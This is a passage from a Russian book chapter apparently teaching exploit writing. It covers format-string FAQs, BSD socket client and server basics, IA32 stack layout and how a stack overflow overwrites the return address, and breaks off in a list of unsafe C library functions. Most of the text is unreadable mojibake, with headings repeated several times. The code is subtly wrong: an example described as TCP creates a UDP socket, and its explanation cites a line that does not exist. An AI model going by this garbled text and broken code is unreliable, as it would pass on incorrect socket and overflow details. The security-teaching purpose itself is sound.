íîé? Âåäü òîãäà êîìïðîìåòàöèÿ õîñòîâ ïðåêðàòèëàñü áû?

Î:Î:Î:Î:Î: Íå âäàâàÿñü â ïîëèòè÷åñêèå äåòàëè, îòâåòèì: íåò, íå ïðåêðàòèëàñü áû.
Îò÷åò î íàéäåííûõ óÿçâèìîñòÿõ ìîæíî ñðàâíèòü ñ äîêëàäîì î íåáåçîïàñ-
íûõ àâòîìîáèëüíûõ øèíàõ. Äàæå åñëè áû èíôîðìàöèÿ íå ïóáëèêîâàëàñü
îôèöèàëüíî, õàêåðû-îäèíî÷êè ïðîäîëæàëè áû èñêàòü è àòàêîâàòü óÿçâèìûå
ïðîãðàììû.

Часто задаваемые вопросы
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Â:Â:Â:Â:Â: Ìîæíî ëè ñ÷èòàòü, ÷òî óÿçâèìîñòåé èç-çà íåêîððåêòíîé ðàáîòû ñ ôîð-
ìàòíûìè ñòðîêàìè áîëüøå íåò?

Î:Î:Î:Î:Î: Â ïîñëåäíåå âðåìÿ â øèðîêî ïðèìåíÿåìûõ ïðîãðàììàõ èõ ïî÷òè íå
íàõîäÿò, òàê êàê ïîäîáíûå îøèáêè î÷åíü ïðîñòî îáíàðóæèòü è èñïðàâèòü
ïóòåì àíàëèçà òåêñòà ïðîãðàììû.

Â:Â:Â:Â:Â: Êàê ëó÷øå âñåãî ïðåäîòâðàòèòü ïîÿâëåíèå óÿçâèìîñòåé â ïðîãðàììå?
Î:Î:Î:Î:Î: Íàèëó÷øèé ïîäõîä – íàó÷èòüñÿ ïðèíöèïàì çàùèòíîãî ïðîãðàììèðî-

âàíèÿ è ðåãóëÿðíî ÷èòàòü îáçîðû ïðîãðàììíîãî îáåñïå÷åíèÿ.
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См. также главы 10, 12, 13 и 14

� Резюме
� Обзор изложенного материала
� Часто задаваемые вопросы
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Введение
Â ïðåäûäóùåé ãëàâå ìû ðàññêàçàëè î ïðîãðàììèðîâàíèè íåêîòîðûõ ýêñ-
ïëîéòîâ è, â ïåðâóþ î÷åðåäü, íàïðàâëåííûõ ïðîòèâ íåêîððåêòíîé ðàáîòû
ñ ôîðìàòíîé ñòðîêîé è ãîíîê. Íèæå ðå÷ü ïîéäåò îá àòàêàõ íà îøèáêè äðóãî-
ãî ðîäà: ïåðåïîëíåíèå ñòåêà, çàòèðàíèå êó÷è è íåêîððåêòíóþ ðàáîòó ñ öåëû-
ìè ÷èñëàìè.

Îøèáêè, ñâÿçàííûå ñ ïåðåïîëíåíèåì áóôåðà, âîçíèêàþò ãëàâíûì îáðàçîì
ïîòîìó, ÷òî ôèðìû, ïðîèçâîäÿùèå ïðîãðàììíîå îáåñïå÷åíèå, ñ÷èòàþò,
÷òî òùàòåëüíîå òåñòèðîâàíèå ïðîãðàìì íà áåçîïàñíîñòü íåãàòèâíî ñêàæåò-
ñÿ íà ñðîêàõ âûïóñêà. Ñòðåìëåíèå âî ÷òî áû òî íè ñòàëî óñêîðèòü öèêë ðàç-
ðàáîòêè è ïîñêîðåå âûáðîñèòü ïðîäóêò íà ðûíîê áóäåò ñóùåñòâîâàòü âñåãäà.
Íåìíîãèå êðóïíûå êîìïàíèè-ðàçðàáîò÷èêè ïóáëè÷íî çàÿâëÿþò î òîì, ÷òî
èõ ïðîãðàììíîå îáåñïå÷åíèå áåçîïàñíî. Òå, êòî òàê ãîâîðèò, íåìåäëåííî
ïîëó÷àþò íåãàòèâíûå îòêëèêè â ïðåññå, êîòîðûå íå òîëüêî îïðîâåðãàþò ïî-
äîáíûå çàÿâëåíèÿ, íî è âûñòàâëÿþò êîìïàíèþ â íåïðèãëÿäíîì ñâåòå. Èç ïî-
ëèòè÷åñêèõ ñîîáðàæåíèé, íåäîïîíèìàíèÿ è øèðîêîãî ðàñïðîñòðàíåíèÿ ñî-
çäàííûõ èìè ïðîãðàìì, íåêîòîðûå êîìïàíèè ïðèâëåêàþò ê ñåáå áîëüøå
âíèìàíèÿ õàêåðîâ, æåëàþùèõ äîáèòüñÿ èçâåñòíîñòè. Êîìïàíèè, â ïðîãðàì-
ìàõ êîòîðûõ îáíàðóæåíî ìåíüøå îøèáîê, îáû÷íî äîñòèãàþò ýòîãî, îñòàâà-
ÿñü â òåíè.

Èíòåðåñíî, îäíàêî, ÷òî ìíîãèå êîìïàíèè, ðàçðàáàòûâàþùèå ïðîãðàììû
äëÿ îáåñïå÷åíèÿ áåçîïàñíîñòè, òîæå «ïðîñëàâèëèñü» èç-çà íàëè÷èÿ óÿçâèìî-
ñòåé â èõ ïðîäóêòàõ. Äàæå ðàçðàáîò÷èêè, îò÷åòëèâî ïîíèìàþùèå, êàê âîç-
íèêàþò óÿçâèìîñòè, äîïóñêàþò îøèáêè. Íàïðèìåð, áûë ñëó÷àé, êîãäà øèðî-
êî èçâåñòíûé ñïåöèàëèñò â îáëàñòè èíôîðìàöèîííîé áåçîïàñíîñòè íàïèñàë
áåñïëàòíóþ èíñòðóìåíòàëüíóþ ïðîãðàììó. Ñïóñòÿ íåêîòîðîå âðåìÿ â íåé
áûëà îáíàðóæåíà óÿçâèìîñòü. Ýòî ïîíÿòíî, òàê êàê îò îøèáîê íèêòî íå çà-
ñòðàõîâàí. Íî çàáàâíî, ÷òî âûïóùåííàÿ «çàïëàòà», çàêðûâàÿ èñõîäíóþ óÿç-
âèìîñòü, ñîäåðæàëà äðóãóþ, íà êîòîðóþ óêàçàë òîò æå ÷åëîâåê, êîòîðûé îáíà-
ðóæèë ïåðâóþ.

Íè îäèí ïðîèçâîäèòåëü íå ìîæåò äàòü ãàðàíòèè îò îøèáîê. Èõ áóäóò íàõî-
äèòü âñåãäà è, ïî êðàéíåé ìåðå, â îáîçðèìîì áóäóùåì òåìïû îáíàðóæåíèÿ
íîâûõ îøèáîê áóäóò òîëüêî âîçðàñòàòü. ×òîáû óìåíüøèòü âåðîÿòíîñòü ïî-
ÿâëåíèÿ îøèáêè â ïðèëîæåíèÿõ, ðàçðàáàòûâàåìûõ ñîáñòâåííûìè ñèëàìè,
îðãàíèçàöèÿ äîëæíà âíåäðèòü ïðîöåäóðû çàùèòíîãî ïðîãðàììèðîâàíèÿ.
Ýòî ïðåäñòàâëÿåòñÿ î÷åâèäíûì, íî ìíîãèå ôèðìû âûáðàëè äðóãîé ïóòü: çà-
ïóòûâàíèå êîäà è ïðèìåíåíèå ìåòîäîâ óìåíüøåíèÿ óùåðáà îò îøèáîê â ñâî-
èõ ïðîãðàììàõ è îïåðàöèîííûõ ñèñòåìàõ. Òàêèå ìåòîäû èçíà÷àëüíî ïîðî÷-
íû è î÷åíü ñêîðî ñòàíîâÿòñÿ ìèøåíÿìè äëÿ àòàêè. Èäåàëüíûé ñïîñîá ñîêðà-
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òèòü ÷èñëî îøèáîê – èíôîðìèðîâàòü ðàçðàáîò÷èêîâ î òîì, êàêèå ïîñëåä-
ñòâèÿ äëÿ áåçîïàñíîñòè ìîãóò âûçâàòü òå èëè èíûå êëàññû îøèáîê, è êàê
ìîæíî ÷àùå âûïîëíÿòü ôîðìàëüíûé àíàëèç êîäà.

Программирование сокетов
и привязки к порту в эксплойтах
Â ñèëó ñàìîé ïðèðîäû ýêñïëîéòîâ äëÿ èõ íàïèñàíèÿ íàäî âëàäåòü îñíîâàìè
ïðîãðàììèðîâàíèÿ ñîêåòîâ. Â ýòîì ðàçäåëå ìû óäåëèì âíèìàíèå èñïîëüçî-
âàíèþ API BSD-ñîêåòîâ ïðè ðàçðàáîòêå ýêñïëîéòîâ. Áîëåå ïîäðîáíî î BSD-
ñîêåòàõ ãîâîðèòñÿ â ãëàâå 3. Íèæå ìû ïåðå÷èñëèì, êàêèå ôóíêöèè è ñèñòåì-
íûå âûçîâû áóäóò ïðèìåíÿòüñÿ â ïðîãðàììàõ è ýêñïëîéòàõ, ïðåäñòàâëåííûõ
â ýòîé ãëàâå.

Программирование клиентских сокетов

Â ìîäåëè «êëèåíò-ñåðâåð» êëèåíòîì ñ÷èòàåòñÿ ñòîðîíà, êîòîðàÿ óñòàíàâëèâà-
åò ñîåäèíåíèå ñ óäàëåííûì ñåðâåðîì. Äëÿ ñîçäàíèÿ èñõîäÿùåãî ñîåäèíåíèÿ
òðåáóåòñÿ íå òàê óæ ìíîãî ôóíêöèé. Â ýòîì ðàçäåëå ìû ðàññìîòðèì ôóíê-
öèè socket è connect.

Îñíîâíàÿ îïåðàöèÿ â ñåòåâîì ïðîãðàììèðîâàíèè – ýòî îòêðûòèå ñîêåòà
è ïîëó÷åíèå åãî äåñêðèïòîðà. Äëÿ ýòîãî ñëóæèò ôóíêöèÿ socket:

int socket(int domain, int type, int protocol);

Ïàðàìåòð domain îïðåäåëÿåò àäðåñíîå ñåìåéñòâî èëè ìåòîä êîììóíèêàöèè.
Â ñëó÷àå ïðîòîêîëîâ TCP/IP ýòîò ïàðàìåòð äîëæåí áûòü ðàâåí AF_INET. Ïàðà-
ìåòð type îïðåäåëÿåò âèä ñîåäèíåíèÿ è ïðèíèìàåò çíà÷åíèå SOCK_STREAM
äëÿ ïðîòîêîëà TCP è SOCK_DGRAM – äëÿ UDP. Íàêîíåö, ïàðàìåòð protocol
îïèñûâàåò, êàêîé ïðîòîêîë áóäåò èñïîëüçîâàí äëÿ îáìåíà äàííûìè ÷åðåç ñî-
êåò. Â ñëó÷àå TCP/IP ìîæíî îñòàâèòü ýòîò ïàðàìåòð ðàâíûì 0. Ôóíêöèÿ socket
âîçâðàùàåò äåñêðèïòîð îòêðûòîãî ñîêåòà.

Âîò òàê îòêðûâàåòñÿ TCP-ñîêåò:

sockfd = socket(AF_INET, SOCK_STREAM, 0);

À âîò òàê UDP-ñîêåò:

sockfd = socket(AF_INET, SOCK_DGRAM, 0);

Программирование сокетов и привязки к порту в эксплойтах
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Ïîëó÷èâ äåñêðèïòîð ñîêåòà, ìû ìîæåì âûçâàòü ôóíêöèþ connect, ÷òîáû
óñòàíîâèòü ñîåäèíåíèå:

int connect(int sockfd, const struct sockaddr *serv_addr,
            socklen_t addrlen);

Ïàðàìåòð sockfd – ýòî äåñêðèïòîð îòêðûòîãî ñîêåòà, ïîëó÷åííûé îò ôóíê-
öèè socket. Ñòðóêòóðà serv_addr ñîäåðæèò IP-àäðåñ è íîìåð ïîðòà ïîëó÷àòåëÿ,
à ïàðàìåòð addrlen – äëèíó ýòîé ñòðóêòóðû. Â ñëó÷àå óñïåõà ôóíêöèÿ connect
âåðíåò 0, â ñëó÷àå îøèáêè –1. Â ïðèìåðå 11.1 ïðèâåäåíî îïðåäåëåíèå ñòðóê-
òóðû àäðåñà ñîêåòà:

Пример 11.1. Пример 11.1. Пример 11.1. Пример 11.1. Пример 11.1. Структура адреса сокета
1 struct sockaddr_in

2 {

3   in_port_t      sin_port;/* íîìåð ïîðòà */

4   struct in_addr sin_addr;/* àäðåñ â Èíòåðíåò */

5   sa_family_t    sin_family; /* àäðåñíîå ñåìåéñòâî */

6 }

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
Ïåðåä âûçîâîì ôóíêöèè connect íåîáõîäèìî çàïîëíèòü ïîëÿ ýòîé ñòðóêòóðû
ñëåäóþùèì îáðàçîì:

� Ïîëå sin_port (ñòðîêà 3)Ïîëå sin_port (ñòðîêà 3)Ïîëå sin_port (ñòðîêà 3)Ïîëå sin_port (ñòðîêà 3)Ïîëå sin_port (ñòðîêà 3) äîëæíî ñîäåðæàòü íîìåð ïîðòà, ñ êîòîðûì
óñòàíàâëèâàåòñÿ ñîåäèíåíèå. Áàéòû çíà÷åíèÿ äîëæíû ñëåäîâàòü â ñåòå-
âîì ïîðÿäêå, ÷òî îáåñïå÷èâàåò ôóíêöèÿ htons;

� Ïîëå sin_addr (ñòðîêà 4)Ïîëå sin_addr (ñòðîêà 4)Ïîëå sin_addr (ñòðîêà 4)Ïîëå sin_addr (ñòðîêà 4)Ïîëå sin_addr (ñòðîêà 4) äîëæíî ñîäåðæàòü IP-àäðåñ õîñòà, ñ êîòîðûì
óñòàíàâëèâàåòñÿ ñîåäèíåíèå. Îáû÷íî äëÿ ïðåîáðàçîâàíèÿ àäðåñà èç
òåêñòîâîãî âèäà â äâîè÷íûé ïðèìåíÿåòñÿ ôóíêöèÿ inet_addr;

� Ïîëå sin_family (ñòðîêà 5)Ïîëå sin_family (ñòðîêà 5)Ïîëå sin_family (ñòðîêà 5)Ïîëå sin_family (ñòðîêà 5)Ïîëå sin_family (ñòðîêà 5) äîëæíî ñîäåðæàòü àäðåñíîå ñåìåéñòâî, êî-
òîðîå â áîëüøèíñòâå ñëó÷àåâ ðàâíî AF_INET.

Â ïðèìåðå 11.2 ïîêàçàíî, êàê çàïîëíèòü ñòðóêòóðó sockaddr_in è óñòàíî-
âèòü ñîåäèíåíèå ïî ïðîòîêîëó TCP.

Пример 11.2. Пример 11.2. Пример 11.2. Пример 11.2. Пример 11.2. Инициализация сокета и установление соединения
1 struct sockaddr_in sin;

2 int sockfd;

3
4 sockfd = socket(AF_INET, SOCK_DGRAM, 0);

5
6 sin.sin_port = htons(80);

7 sin.sin_family = AF_INET;
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 8 sin.sin_addr = inet_addr("127.0.0.1");

 9
10 connect(sockfd, (struct sockaddr *)&sin, sizeof(sin));

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� Â ñòðîêå 6 ìû ïåðåäàëè íîìåð ïîðòà 80 ôóíêöèè htons, ÷òîáû îíà ïåðå-

ñòàâèëà áàéòû â ñåòåâîì ïîðÿäêå.
� Â ñòðîêå 4 ñîçäàåòñÿ ñîêåò, çàòåì ñòðóêòóðà çàïîëíÿåòñÿ àäðåñíîé èí-

ôîðìàöèåé (ñòðîêè 6–8) è âûïîëíÿåòñÿ connect (ñòðîêà 10). Ýòè òðè
ýëåìåíòà íåîáõîäèìû äëÿ ñîçäàíèÿ ñîåäèíåíèÿ ñ óäàëåííûì õîñòîì.
Åñëè áû ìû õîòåëè îòêðûòü íå TCP, à UDP-ñîêåò, òî íàäî áûëî áû
ëèøü ïîñòàâèòü SOCK_DGRAM âìåñòî SOCK_STREAM â ñòðîêå 14.

Ïîñëå óñïåøíîãî óñòàíîâëåíèÿ ñîåäèíåíèÿ ìîæíî ïðèìåíÿòü ê ñîêåòó
ñòàíäàðòíûå ôóíêöèè ââîäà/âûâîäà, íàïðèìåð, read è write.

Программирование серверных сокетов

Ñåðâåðíûé ñîêåò äîëæåí ïðîñëóøèâàòü êàêîé-òî ïîðò è îáðàáàòûâàòü çàïðî-
ñû íà óñòàíîâëåíèå ñîåäèíåíèÿ. Ýòî èíîãäà áûâàåò íåîáõîäèìî â ýêñïëîé-
òàõ, íàïðèìåð, ïðè íàïèñàíèè shell-êîäà äëÿ îáðàòíîãî ñîåäèíåíèÿ. Äëÿ ñî-
çäàíèÿ ñåðâåðíîãî ñîêåòà òðåáóåòñÿ âûçâàòü ÷åòûðå ôóíêöèè: socket, bind,
l isten è accept. Â ýòîì ðàçäåëå  ìû ðàññìîòðèì ïîñëåäíèå  òðè.

Íàçíà÷åíèå ôóíêöèè bind – àññîöèèðîâàòü ñ ñîêåòîì àäðåñ (îáû÷íî ãîâî-
ðÿò «ïðèâÿçàòü ñîêåò ê àäðåñó»). Åå ïðîòîòèï ïîêàçàí íèæå:

int bind(int sockfd, struct sockaddr *my_addr, socklen_t addrlen);

Ôóíêöèÿ bind àññîöèèðóåò ñ äåñêðèïòîðîì ñîêåòà sockfd ëîêàëüíûé àäðåñ,
çàäàííûé â ñòðóêòóðå my_addr, êîòîðàÿ ñîñòîèò èç òåõ æå ïîëåé, ÷òî è äëÿ
êëèåíòñêîãî ñîêåòà, íî îïèñûâàåò àäðåñ ëîêàëüíîé, à íå óäàëåííîé ìàøèíû.
Â ïîëå sin_port çàïèñûâàåòñÿ íîìåð ëîêàëüíîãî ïîðòà, ê êîòîðîìó ïðèâÿ-
çûâàåòñÿ ñîêåò, â ñåòåâîì ïîðÿäêå áàéòîâ, à â ïîëå sin_addr.s_addr – 0. Â ñëó÷àå
óñïåõà bind âîçâðàùàåò 0, â ñëó÷àå îøèáêè –1.

Ôóíêöèÿ l isten ïåðåâîäèò ñîêåò â ðåæèì ïðîñëóøèâàíèÿ. Ó íåå  î÷åíü ïðî-
ñòîé ïðîòîòèï:

int listen(int sockfd, int backlog);

Îíè ïðèíèìàåò äåñêðèïòîð ñîêåòà sockfd, èíèöèàëèçèðîâàííûé ôóíêöèåé
bind. Ïàðàìåòð backlog çàäàåò ìàêñèìàëüíîå ÷èñëî îæèäàþùèõ âõîäÿùèõ ñî-
åäèíåíèé â î÷åðåäè. Åñëè î÷åðåäü çàïîëíåíà, êëèåíò ïðè ïîïûòêå ñîåäèíèòü-

Программирование сокетов и привязки к порту в эксплойтах
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ñÿ ïîëó÷àåò ñîîáùåíèå  «â ñîåäèíåíèè îòêàçàíî». Â ñëó÷àå  óñïåõà l isten âîç-
âðàùàåò 0, â ñëó÷àå îøèáêè –1.

Íàçíà÷åíèå ôóíêöèè accept – ïðèíÿòü çàïðîñ íà ñîåäèíåíèå ñ ïðåäâàðè-
òåëüíî èíèöèàëèçèðîâàííûì ñîêåòîì. Åå ïðîòîòèï òàêîâ:

int accept(int s, struct sockaddr *addr, socklen_t *addrlen);

Ýòà ôóíêöèÿ èçâëåêàåò îæèäàþùèé çàïðîñ íà ñîåäèíåíèå èç î÷åðåäè è âîç-
âðàùàåò íîâûé äåñêðèïòîð ñîêåòà, ÷åðåç êîòîðûé ìîæíî îáìåíèâàòüñÿ äàí-
íûìè ñ êëèåíòîì. Ïàðàìåòð s – ýòî äåñêðèïòîð ñîêåòà, èíèöèàëèçèðîâàííûé
ôóíêöèÿìè bind è l isten. Ïàðàìåòð addr – ýòî  óêàçàòåëü íà ñòðóêòóðó òèïà sockaddr,
â êîòîðóþ accept ïîìåñòèò èíôîðìàöèþ î êëèåíòå. Ïàðàìåòð addrlen – ýòî óêà-
çàòåëü íà öåëîå ÷èñëî, â êîòîðîå áóäåò çàïèñàíî, ÷èñëî áàéòîâ, ïîìåùåííûõ
â ñòðóêòóðó addr. Â ñëó÷àå óñïåõà accept âîçâðàùàåò äåñêðèïòîð íîâîãî ñîêåòà,
â ñëó÷àå îøèáêè –1.

Îáúåäèíèâ ýòè ôóíêöèè, ïîëó÷èâ êðîõîòíóþ ïðîãðàììêó, êîòîðàÿ ïðèâÿ-
çûâàåò ñîêåò ê ïîðòó (ïðèìåð 11.3).

Пример 11.3.Пример 11.3.Пример 11.3.Пример 11.3.Пример 11.3. Создание серверного сокета
 1 int main(void)

 2 {

 3   int s1, s2;

 4   struct sockaddr_in sin;

 5
 6   s1 = socket(AF_INET, SOCK_STREAM, 0);  // Ñîçäàòü TCP-ñîêåò

 7
 8   sin.sin_port = htons(6666);  // Ïðîñëóøèâàòü ïîðò 6666

 9   sin.sin_family = AF_INET;

10   sin.sin_addr.s_addr = 0;    // Ïðèíèìàòü çàïðîñû íà ëþáîé àäðåñ

11
12   bind(s1, (struct sockaddr *)&sin, sizeof(sin));

13
14   listen(s1, 5);      // Íå áîëåå 5 âõîäÿùèõ ñîåäèíåíèé â î÷åðåäè

15
16   s2 = accept(s1, NULL, 0);  // Ïðèíÿòü çàïðîñ íà ñîåäèíåíèå

17
18   write(s2, "hello\n", 6);   // Ïîïðèâåòñòâîâàòü êëèåíòà

19 }

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
Ýòà ïðîãðàììà ñîçäàåò ñåðâåð íà ïîðòó 6666 è îòïðàâëÿåò ñòðîêó «hello» ëþáî-
ìó ñîåäèíèâøåìóñÿ ñ íèì êëèåíòó. Êàê âèäèòå, ìû èñïîëüçîâàëè âñå îïèñàí-
íûå â äàííîì ðàçäåëå ôóíêöèè. Â ñòðîêå 6 ñîçäàåòñÿ TCP-ñîêåò, â ñòðîêàõ 8–10
ñòðóêòóðà çàïîëíÿåòñÿ àäðåñíîé èíôîðìàöèåé. Â ñòðîêå 12 ôóíêöèÿ bind àñ-
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ñîöèèðóåò ñîêåò ñ ëîêàëüíûì àäðåñîì, â ñòðîêå 14 ñîêåò ïåðåâîäèòñÿ â ðåæèì
ïðîñëóøèâàíèÿ, è, íàêîíåö, â ñòðîêå 16 ôóíêöèÿ accept ïðèíèìàåò âõîäÿùèé
çàïðîñ íà ñîåäèíåíèå.

Эксплойты для переполнения стека
Òðàäèöèîííî ïåðåïîëíåíèÿ áóôåðà, ïðèâîäÿùèå ê çàòèðàíèþ ñòåêà, ñ÷èòà-
þòñÿ íàèáîëåå ðàñïðîñòðàíåííûìè îøèáêàìè â ñîâðåìåííûõ ïðîãðàììàõ,
äëÿ êîòîðûõ ìîæíî íàïèñàòü ýêñïëîéò. Ïåðåïîëíåíèå ñòåêà âîçíèêàåò, êîãäà
â ëîêàëüíûé áóôåð çàïèñûâàåòñÿ áîëüøå äàííûõ, ÷åì îí â ñîñòîÿíèè âìåñ-
òèòü. Â ðåçóëüòàòå ëèøíèå äàííûå ïîïàäàþò â ñòåê, çàòèðàÿ åãî ïðåæíåå ñî-
äåðæèìîå. Ýòî ïðèâîäèò ê íåïðåäñêàçóåìîìó ïîâåäåíèþ, ÷åì ìîæíî âîñ-
ïîëüçîâàòüñÿ äëÿ êîìïðîìåòàöèè ñèñòåìû.

Ïîñêîëüêó íà îøèáêè, ñâÿçàííûå ñ ïåðåïîëíåíèåì ñòåêà, îáðàùàëîñü íàè-
áîëåå ïðèñòàëüíîå âíèìàíèå ïðè èíôîðìèðîâàíèè ðàçðàáîò÷èêîâ î ïðî-
áëåìàõ áåçîïàñíîñòè, òî îíè ñòàëè âñòðå÷àòüñÿ ðåæå. Òåì íå ìåíåå î íèõ
âàæíî ïîìíèòü è îñòåðåãàòüñÿ.

Организация памяти

Íà ðàçíûõ àïïàðàòíûõ ïëàòôîðìàõ ïàìÿòü îðãàíèçîâàíà ïî-ðàçíîìó. Â ýòîì
ðàçäåëå ìû ðàññìîòðèì òîëüêî 32-ðàçðÿäíóþ àðõèòåêòóðó ïðîöåññîâ Intel
(äàëåå áóäåì íàçûâàòü åå ïðîñòî IA32), òàê êàê ýòî ñàìàÿ ðàñïðîñòðàíåííàÿ
ïëàòôîðìà. Â áóäóùåì ñèòóàöèÿ, ñêîðåå âñåãî, èçìåíèòñÿ, ïîñêîëüêó àðõè-
òåêòóðà IA64 ìåäëåííî âûòåñíÿåò IA32, äà è äðóãèå ïðîöåññîðû (SPARC,
MIPS, PowerPC, HPPA) ñî âðåìåíåì ìîãóò ñòàòü áîëåå ðàñïðîñòðàíåííûìè,
÷åì ñåé÷àñ. Àðõèòåêòóðà SPARC äîâîëüíî ïîïóëÿðíà, òàê êàê èìåííî îíà
ÿâëÿåòñÿ «ðîäíîé» äëÿ îïåðàöèîííîé ñèñòåìû Sun Solaris. Ñèñòåìû IRIX
îáû÷íî óñòàíàâëèâàþòñÿ íà ìàøèíû ñ àðõèòåêòóðîé MIPS, ñèñòåìû AIX – íà
PowerPC, à HP-UX – íà HPPA. Ìû âêðàòöå îñòàíîâèìñÿ íà îòëè÷èÿõ IA32 îò
äðóãèõ àðõèòåêòóð, íî áîëåå ïîäðîáíóþ èíôîðìàöèþ î ðàçëè÷íûõ ïðîöåñ-
ñîðàõ èùèòå â ðóêîâîäñòâàõ, êîòîðûå ôèðìû-ïðîèçâîäèòåëè áåñïëàòíî
ðàñïðîñòðàíÿþò ÷åðåç Èíòåðíåò.

Íà ðèñ. 11.1 ïîêàçàíà îðãàíèçàöèÿ ñòåêà â àðõèòåêòóðå IA32. Ñðåäè ïðî÷åãî,
â ñòåêå õðàíÿòñÿ ïàðàìåòðû ôóíêöèé, ëîêàëüíûå ïåðåìåííûå (â ÷àñòíîñòè,
áóôåðû) è àäðåñà âîçâðàòà ôóíêöèé. Â ñèñòåìàõ íà îñíîâå IA32 ñòåê ðàñòåò
ñâåðõó âíèç (îò ñòàðøèõ àäðåñîâ ê ìëàäøèì) â îòëè÷èå, ñêàæåì, îò àðõèòåê-
òóðû SPARC, ãäå ñòåê ðàñòåò ñíèçó ââåðõ. Ñòåê îðãàíèçîâàí ïî ïðèíöèïó
«ïåðâûì ïðèøåë – ïîñëåäíèì îáñëóæåí» (LIFO), òî åñòü äàííûå, ïîìåùåí-
íûå â ñòåê ðàíüøå, áóäóò èçâëå÷åíû èç íåãî ïîçæå.

Эксплойты для переполнения стека
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Íà ðèñ. 11.2 ïîêàçàíî äâà áóôåðà, ïîìåùåííûå («çàòîëêíóòûå») â ñòåê.
Ïåðâûì áûë ïîìåùåí áóôåð buf1, âòîðûì – buf2.

Рис. 11.1.Рис. 11.1.Рис. 11.1.Рис. 11.1.Рис. 11.1. Структура стека в архитектуре IA32

Рис. 11.2. Рис. 11.2. Рис. 11.2. Рис. 11.2. Рис. 11.2. В IA32*стек помещено два буфера

Ðèñ. 11.3 èëëþñòðèðóåò LIFO-îðãàíèçàöèþ ñòåêà â IA32. Âòîðîé áóôåð buf2
áûë ïîìåùåí â ñòåê ïîñëåäíèì, íî èçâëåêàòüñÿ îòòóäà áóäåò ïåðâûì.

Переполнение стека
Ëþáîå ïåðåïîëíåíèå ñòåêà ïðîèñõîäèò èç-çà ïåðåïîëíåíèÿ áóôåðà, íî íå
âñÿêîå ïåðåïîëíåíèå áóôåðà âåäåò ê ïåðåïîëíåíèþ ñòåêà. Êîãäà ãîâîðÿò
î ïåðåïîëíåíèè áóôåðà, èìåþò â âèäó, ÷òî åãî ðàçìåð áûë âû÷èñëåí íåïðà-
âèëüíî, è â áóôåð ìîæíî çàïèñàòü áîëüøå äàííûõ, ÷åì îæèäàëîñü. Ïåðåïîë-
íåíèå ñòåêà âñåãäà ïðîèñõîäèò ïî ýòîé ïðè÷èíå. Íî ÷àñòî áóôåð âûäåëÿåòñÿ
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íå â ñòåêå, à â äèíàìè÷åñêîé ïàìÿòè (êó÷å), ýòîò ñëó÷àé ìû ðàññìîòðèì íèæå
â ðàçäåëå «Çàòèðàíèå êó÷è». Êðîìå òîãî, íå äëÿ êàæäîãî ïåðåïîëíåíèÿ áó-
ôåðà èëè ñòåêà ìîæíî íàïèñàòü ýêñïëîéò. Òóò âñå çàâèñèò îò ðåàëèçàöèè
ñòàíäàðòíûõ áèáëèîòå÷íûõ ôóíêöèé, îñîáåííîñòåé àðõèòåêòóðû è îïåðàöè-
îííîé ñèñòåìû, ðàñïîëîæåíèÿ ïåðåìåííûõ â ïàìÿòè è äðóãèõ ôàêòîðîâ. Íî
ïî áîëüøåé ÷àñòè ïåðåïîëíåíèÿ ñòåêà ïðèãîäíû äëÿ íàïèñàíèÿ ýêñïëîéòîâ.

Íà ðèñ. 11.4 â áóôåð buf2 ïîìåùåíî áîëüøå äàííûõ, ÷åì îæèäàë ïðîãðàì-
ìèñò, ïîýòîìó áóôåð buf1 ïîëíîñòüþ ïåðåçàïèñàí. Áîëåå òîãî, ñëåäóþùàÿ çà
íèì ÷àñòü ñòåêà è, ÷òî ñàìîå ãëàâíîå, ñ÷åò÷èê êîìàíä (EIP) òîæå ïåðåçàïèñà-
íû. Â ðåãèñòðå EIP õðàíèëñÿ àäðåñ âîçâðàòà èç ôóíêöèè. Ñëåäîâàòåëüíî, çëî-
óìûøëåííèê ìîæåò âûáðàòü àäðåñ, íà êîòîðûé ïðîèçîéäåò ïåðåõîä ïðè âîç-
âðàòå.

Ìîæíî áûëî áû ïîñâÿòèòü öåëóþ êíèãó îïèñàíèþ ïîñëåäñòâèé, ê êîòî-
ðûì ïðèâîäèò íåêîððåêòíàÿ ðàáîòà ñ ôóíêöèÿìè èç ñòàíäàðòíîé áèáëèîòåêè

Рис. 11.3. Рис. 11.3. Рис. 11.3. Рис. 11.3. Рис. 11.3. Один буфер извлечен из IA32*стека

Рис. 11.4. Рис. 11.4. Рис. 11.4. Рис. 11.4. Рис. 11.4. Переполнение стека в архитектуре IA32

Переполнение стека
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ÿçûêà C (îáû÷íî îíà íàçûâàåòñÿ LIBC), ðàçëè÷èÿì ìåæäó èõ ðåàëèçàöèÿìè
â ðàçíûõ îïåðàöèîííûõ ñèñòåìàõ è âîçìîæíîñòÿì íàïèñàíèÿ ýêñïëîéòîâ.
Â áèáëèîòåêå LIBC åñòü ñâûøå ñîòíè ôóíêöèé, ÷ðåâàòûõ ïðîáëåìàìè äëÿ áå-
çîïàñíîñòè ñèñòåìû. Ñåðüåçíîñòü ýòèõ ïðîáëåì âàðüèðóåòñÿ îò íåçíà÷èòåëü-
íîé (ñêàæåì, «ïñåâäîñëó÷àéíûå ÷èñëà, ãåíåðèðóåìûå srand(), íåäîñòàòî÷íî
ñëó÷àéíû») äî êðèòè÷åñêîé («ìîæåò ïðèâåñòè ê ïîâûøåíèþ ïðèâèëåãèé
ïðè íåïðàâèëüíîì èñïîëüçîâàíèè», êàê, íàïðèìåð, printf()).

Ïåðå÷èñëåííûå íèæå ôóíêöèè èç áèáëèîòåêè LIBC ìîãóò ïîñëóæèòü ïðè-
÷èíîé ïåðåïîëíåíèÿ ñòåêà, à â íåêîòîðûõ ñëó÷àÿõ âîçìîæíû è äðóãèå íåïðè-
ÿòíîñòè. Ïîìèìî ïðîòîòèïà ôóíêöèè, ìû ïðèâîäèì òàêæå êðàòêîå îïèñà-
íèå ïðîáëåìû è ïðèìåðû ïðàâèëüíîãî è íåïðàâèëüíîãî èñïîëüçîâàíèÿ.

 1 Èìÿ ôóíêöèè: strcpy

 2 Êëàññ: ïåðåïîëíåíèå ñòåêà

 3 Ïðîòîòèï: char *strcpy(char *dest, const char *src);

 4 Çàãîëîâî÷íûé ôàéë: #include <string.h>

 5 Îïèñàíèå:

 6 Åñëè ðàçìåð áóôåðà-èñòî÷íèêà áîëüøå ðàçìåð áóôåðà-ïðèåìíèêà, òî
